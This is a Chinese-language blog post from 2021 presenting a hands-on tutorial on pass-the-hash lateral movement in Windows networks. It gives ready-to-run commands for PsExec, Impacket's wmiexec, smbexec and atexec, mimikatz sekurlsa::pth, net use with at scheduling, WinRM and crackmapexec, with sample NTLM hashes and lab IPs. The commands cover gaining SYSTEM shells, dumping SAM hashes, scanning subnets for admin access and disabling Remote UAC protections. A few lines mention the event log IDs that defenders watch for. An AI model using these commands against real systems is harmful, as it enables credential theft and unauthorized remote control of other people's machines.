PTH的幾種食用姿勢

Zh1z3ven發表於2021-06-06

PTH

PTH(pass the hash)也叫做hash傳遞。在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過NTLM Hash(mimikatz或其他手段抓取到的密碼hash)訪問遠端主機或服務,而不用提供明文密碼。因為在Windows中通常會用NTLM進行身份認證,hash值由系統API生成,如果攻擊者獲得了hash,就能夠跳過呼叫API生成hash的過程,在身份驗證的時候模擬該使用者。

從winows 2008開始(包括2008),rid不為500的使用者,windows都不允許遠端連線(包括net use、at、winrm等),所以如果想對目標機遠端執行命令,必須使用目標機rid 500的賬號(通常為administrator)或域管賬號。

PsExec

0x00 PsExec簡介

PsExec 是由 Mark Russinovich 建立的 Sysinternals Suite中包含的工具,基於445埠 走SMB協議,NTLM認證。最初,它旨在作為系統管理員的便利工具,以便他們可以通過在遠端主機上執行命令來執行維護任務。PsExec是一個輕量級的telnet替代工具,它使您無需手動安裝客戶端軟體即可執行其他系統上的程式,並且可以獲得與命令控制檯幾乎相同的實時互動性。PsExec最強大的功能就是在遠端系統和遠端支援工具(如ipconfig、whoami)中啟動互動式命令提示視窗,以便顯示無法通過其他方式顯示的有關遠端系統的資訊。

0x01 食用姿勢

### 前提條件:開啟admin$(對映C:\\Windows目錄)且關閉Remote UAC

## 針對遠端建立連線的方式有兩種,一種先建立IPC通道連線,然後直接使用,操作如下:

# 先net use 連線上IPC
 net use \\192.168.0.1\ipc$ "password123!@#" /user:alibaba
 
# 確認是否進入IPC會話
.\PsExec64.exe -accepteula \\ip -s cmd.exe   彈cmd

.\PsExec64.exe -accepteula \\ip -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com


## 另一種時在psexec的引數中指定賬戶密碼  操作如下:
.\PsExec64.exe \\192.168.0.1 –u administrator –p password

0x02 執行原理

1.通過ipc$連線,釋放psexecsvc.exe到目標
2.通過服務管理SCManager遠端建立psexecsvc服務,並啟動服務。
3.客戶端連線執行命令,服務端啟動相應的程式並執行回顯資料。
4.執行完後刪除服務。這個在windows的日誌中有詳細的記錄,另外psexec在少數情況下會出現服務沒刪除成功的bug(可在命令列下執行exit退出),所以一般不推薦使用psexec,推薦wmiexec

首先進行TCP三次握手連線目標445埠

通過SMB協議協商使用SMB協議的版本

進行NTLM認證,傳送SESSION_SETUP_ANDX協商請求,包括username和pass hash

image-20210517120037800

寫入PSEXECSVC.exe檔案,遠端呼叫svcctl協議啟動psexesvc服務

psexec必須呼叫svcctl協議,否則psexesvc服務無法啟動

image-20210517120220247

0x03 關於PsExec的日誌

psexec成功登入退出後,會在目標機器的安全日誌中產生Event 4624、4628、4634,在系統日誌中產生Event 7045(記錄PSEXESVC安裝)、Event 7036(記錄PSEXESVC服務狀態)

0x04 Remote UAC的延展測試

UAC是什麼?UAC是微軟在Windows Vista 以後版本引入的一種安全機制,可以阻止未經授權的應用程式自動進行安裝,並防止無意中更改系統設定。那麼對於防禦是不是不改UAC,保持預設或更高就可以了?並不是,可以改登錄檔的嘛。

方法二:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem新增新DWORD值,鍵值:LocalAccountTokenFilterPolicy 為1。

WMI

0x00 WMI簡介

WMI的全名為“Windows Management Instrumentation”。從Windows 98開始,Windows作業系統都支援WMI。WMI是由一系列工具集組成的,可以在本地或者遠端管理計算機系統。

使用WMIC橫向移動連線遠端主機,需要目標主機開放135和445埠。

(135 端⼝是 WMIC 預設的管理端⼝,wimcexec 使⽤445端⼝傳回顯)

WMI相比於PsExec更隱蔽些

0x01 食用姿勢

###  遠端連線

## 直接使用wmic使用明文密碼連線(未利用IPC$)
.\wmiexec.exe admin:admin@192.168.124.165 
.\wmiexec.exe 使用者名稱:明文密碼@ip 

## PTH 
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/使用者名稱@目標IP    // 雜湊傳遞獲得shell
.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165   // 雜湊傳遞獲得shell 

.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 "ipconfig"   // 執行命令
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/使用者名稱@目標IP "ipconfig"   // 執行命令

-hashes 471991a8c33ff1593f1ad458bdd6f0c5 central.com.br\Administrator "ipconfig"

ps:獲取的當前shell許可權為此使用者許可權

image-20210518211203701

smbexec

0x00 smbexec簡介

smbexec可以通過檔案共享在遠端系統中執行命令。

需要開啟c$共享,445埠。

0x01 食用姿勢

## 在3389或類似於3389環境下
# 明文密碼
.\smbexec.exe 使用者名稱:密碼@ip
.\smbexec.exe admin:admin@192.168.124.165

# hash
.\smbexec.exe -hashes :NTLMhash 使用者名稱@ip
.\smbexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165

## 在socks環境下
.\smbexec.exe rootkit/使用者名稱:密碼@ip
.\smbexec.exe -hashes :NTLMhash rootkit/使用者名稱@ip

ps:這裡成功後獲得的是system許可權 ,所以後面如果環境允許,可以利用smbexec配合cme或者cs拿到system許可權的shell或機器。

image-20210518224621492

atexec

0x00 atexec簡介

atexec是通過windows計劃任務執行遠端命令,atexec是一個半互動的工具,即引數中新增需要在遠端主機執行的命令,工具執行後即返回命令結果,適用於webshell下,也適用於其他網路環境。

0x01 食用姿勢

用法大致與smbexec相同

## 在3389或類似於3389環境下
# 明文密碼
.\atexec.exe 使用者名稱:密碼@ip
.\atexec.exe admin:admin@192.168.124.165

# hash
.\atexec.exe -hashes :NTLMhash 使用者名稱@ip
.\atexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165

## 在socks環境下
.\atexec.exe rootkit/使用者名稱:密碼@ip
.\atexec.exe -hashes :NTLMhash rootkit/使用者名稱@ip

mimikatz

0x01 食用姿勢

mimikatz的食用方法有些許奇怪

privilege::debug

sekurlsa::pth /user:admin /domain:workgroup /ntlm:209c6174da490caeb422f3fa5a7ae634
# 傳檔案
copy <file-path\file> \\ip\ipc$  或者
copy <file-path\file> \\ip\c$    或者
copy <file-path\file> \\ip\admin$ 

# 計劃任務
at \\ip 時間 程式名,如:
at \\127.0.0.0 11:00 love.exe

如下圖,在新彈出的cmd中net use連線即可,後續可通過copy或at命令進行上線或許可權維持。

image-20210518234748763

net use

net use將計算機與網路其他計算機共享資源連線或斷開,或者顯示關於計算機共享連線的資訊,或者切斷計算機與共享資源的連線(刪除磁碟對映),當不帶選項使用本命令時,它會列出計算機的連線。

# 列出所有共享資源
net use

# 建立IPC$
net use \\ip\ipc$ "<password>" /user:<username>

# 刪除IPC$
net use \\ip\ipc$ /delete

# 傳檔案
copy <file-path\file> \\ip\ipc$  或者
copy <file-path\file> \\ip\c$    或者
copy <file-path\file> \\ip\admin$ 

# 計劃任務
at \\ip 時間 程式名,如:
at \\127.0.0.1 9:00 calc.exe

WinRM

0x00 WinRM簡介

WinRM(Windows Remote Managementd)是windows作業系統的一部分,基於Web服務管理(WS-Management)標準。是一項允許管理員在系統上遠端執行管理任務的服務。一般是監聽在5985埠(HTTP),HTTPS協議監聽在596埠上,預設支援Kerberos和NTLM身份驗證。使用此服務需要管理員級別的憑據。

WinRM服務將在Windows Server 2008和更高版本上自動啟動(在Windows Vista中,需要手動啟動該服務)。
預設情況下,未配置WinRM偵聽器。即使WinRM服務正在執行,也無法接收或傳送請求資料的WS-Management協議訊息。

0x01 搭建WinRM服務

環境:

win 2008 R2 --> WinRM

win7 攻擊機

# 將網路連線型別改為“專用” win7的話改為工作網路winrm quickconfig//針對winrm service 進行基礎配置winrm e winrm/config/listener//檢視winrm service listener:winrm set winrm/config/service/auth @{Basic="true"}//為winrm service 配置authwinrm set winrm/config/service @{AllowUnencrypted="true"}//為winrm service 配置加密方式為允許非加密winrm enumerate winrm/config/listener//winrm service返回資訊則啟動配置成功# 將目標計算機新增到 TrustedHosts 配置設定,TrustedHosts=”*”代表所有IP都可嘗試連線到此計算機的WinRM服務,這裡類似於白名單機制。winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts=”*”}# 攻擊機和環境靶機都需要處於專用網路或者在域內之後可以netstat -an看一下埠 5985開啟就說明正常啟動WinRM了

0x02 食用姿勢

winrs.exe ,基於命令列的工具,此工具作為客戶端使用,用於遠端連線執行WinRM的伺服器並執行大多數的cmd命令

winrs -? 可以檢視幫助,Winrs事件作為Microsoft-Windows-WinRM / Operational(事件ID 91)記錄在遠端主機上。

常用姿勢

# 遠端執行命令winrs -r:http://ip:5985 -u:使用者名稱 -p:密碼 "ipconfig"# 建立新執行緒啟動calcwinrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://ip:5985 -u:administrator -p:密碼winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.124.167:5985 -u:administrator -p:z123456.

不過不知道為什麼沒彈calc,但是calc的執行緒是起來了。

image-20210519233410138

image-20210519230417033

crackmapexec

一款強大的內網橫向的工具

功能很多 這裡只介紹幾個常用到的

# 掃描c段445crackmapexec smb 192.168.124.0/24

image-20210519235042109

# 指定單一使用者與密碼進行c段掃描crackmapexec smb 192.168.124.0/24 -u admin -p admin --pass-pol

帶有黃色的"Pwn3d!"意味著我們在這臺機器上擁有管理員許可權

image-20210519235636143

# 列出當前c段所有可用共享crackmapexec smb 192.168.124.0/24 -u admin -p admin --shares 

image-20210519235913328

# PTH,指定hash進行橫向crackmapexec smb 192.168.124.0/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --pass-pol

image-20210520000313580

# -H和-p引數都可指定檔案去批量跑c段(--pass-pol),同理也可跑共享(--shares)crackmapexec smb 192.168.124.0/24 -u ./user.txt -H hash.txt --pass-pol 

image-20210520000933039

# winrm同理,只不過沒有--pass-pol引數了crackmapexec winrm 192.168.124.0/24 -u user.txt -H hash.txt

image-20210520002645153

# --sam dump主機hashcrackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --sam

image-20210520001513661

# -x 執行命令,預設使用wmi執行命令(這裡可以通過--exec-method引數指定smbexec來獲得system許可權執行命令)crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami"crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami" --exec-method smbexec

image-20210520001907120

image-20210520001940864

Reference

https://www.anquanke.com/post/id/222746

http://cn0sec.cn/index.php/archives/53/

https://www.cnblogs.com/sup3rman/p/12381874.html

https://ishare.ifeng.com/c/s/7qiKOFLV4ZM

https://cloud.tencent.com/developer/article/1802241

https://www.freebuf.com/articles/system/259632.html

https://www.anquanke.com/post/id/84980

相關文章